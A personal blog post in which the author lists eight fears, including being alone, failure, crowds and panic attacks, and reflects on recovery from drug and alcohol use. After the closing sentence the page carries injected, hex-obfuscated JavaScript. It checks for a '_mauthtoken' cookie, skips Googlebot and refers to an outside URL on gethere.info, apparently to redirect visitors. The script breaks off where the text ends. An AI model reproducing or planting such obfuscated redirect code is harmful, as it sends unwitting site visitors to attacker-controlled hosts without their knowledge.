Ten Day YOU Challenge – #3 – Eight Fears

Hey all…I know I have already touched on this in an earlier post, and I don’t like repeating myself ad nauseam… but in keeping with the spirit of openness and honesty, here goes my next list.

  1. Being alone. It’s strange to be almost comfortable with this fear. I hate being on my own, but at the same time, I love my own company. I can be myself when I’m on my own, and I don’t go bonkers wondering if everyone around me thinks I’m weird. In the old days, I used to bounch from relationship to relationship as I often feel a constant need for companionship. But nowdays, I’d rather be on my own than be with someone for the sake of it. I’ve wasted far too many years of my life with people who I knew it was never going to last. It’s hard to fight off my natural urges and my libido, but wasting my time with the wrong person isn’t worth. Not for the sex or even the company. That there is proof I’ve come a long way.
  2. Failure. I fail far more times than I succeed. It’s just a fact, but I still keep trying, it’s what I do. I worked out a long time ago that I will never succeed if I give up. But the fear of failing is overwhelming at times. It all ties in to fearing I’ll dissapoint people, and myself. It’s hard to keep myself upbeat and motivated, when every fibre of my being is screaming “Why bother? You’ll only fuck it up like everything else” but I can’t give up. I’ll never know unless I try, so I just throw myself in headfirst and keep my fingers crossed.
  3. Losing everything. What I mean is all the people who mean something to me. All the things I have and accomplished. It’s all I have accumulated over my life, and there is a shit load of experiences and memories that come with that.. so I’m not keen to start over again. It would probably kill me to had to.
  4. Crowds of People and General Social Settings. I never used to notice this as much in the past, but that’s because I was either High or Drunk or a sublime mixture of both. nowadays I’m very nervous around large groups of people. If I can’t feel fresh air against my face or see a window, I start having anxiety attacks and lose it. And we segue into my next one…
  5. Losing it. When I lose my cool, I feel out of control and wracked with feelings of fear and panic. I want to scream and tear chunks out of people. Just to get them out of my way, so I can break free. It’s harsh, because I genuinely like people, and I want to get myself out there mor but my natural instinct is to run away back to comfortable surroundings.
  6. Being misunderstood. When I dare show a glimpse of the real me in public… I’m just terrified that people will think I’m a freak or weird… It’s something not everyone can understand. I guess it’s why I try to be fairly transparent, so even if they feel a little freaked , at least they understand the reasons why. I just can’t help how I am. I’m not a bad person to know, and I’m a great listener. In fact, I’d rather listen than talk about myself. I’ve maintained relationships for long periods of time based on that one principle. But I know it’s important that I can talk about things. And I cannot rely of drugs or alcohol just to feel like I fit in with other people.
  7. That I’ll never be able to get over the past and it will forever linger like a spectre. I’m haunted by the past, and even the idea of a future is alien to me. I hope that I can and will have one, but sometimes I’m not so sure. What if I’m still like this is 10 years time? What if I’m still broke and lonely? What if every time I try I crash and burn? It’s hard to see beyond today to be honest.
  8. That this blog will be my only outlet, that I will only connect with people whom I can’t even talk to. Don’t get me wrong, I’ve come to love the interaction i”ve had through this, but I’d love to be able to talk face to face with another human being about shit like this. I have come along a 1000x more than I ever though was possible… so who knows? I might actually get there eventually.

So yeah there goes another post for the day, it’s always rewarding in its own way but sometimes I’m just scared to let go and actually let someone else in…var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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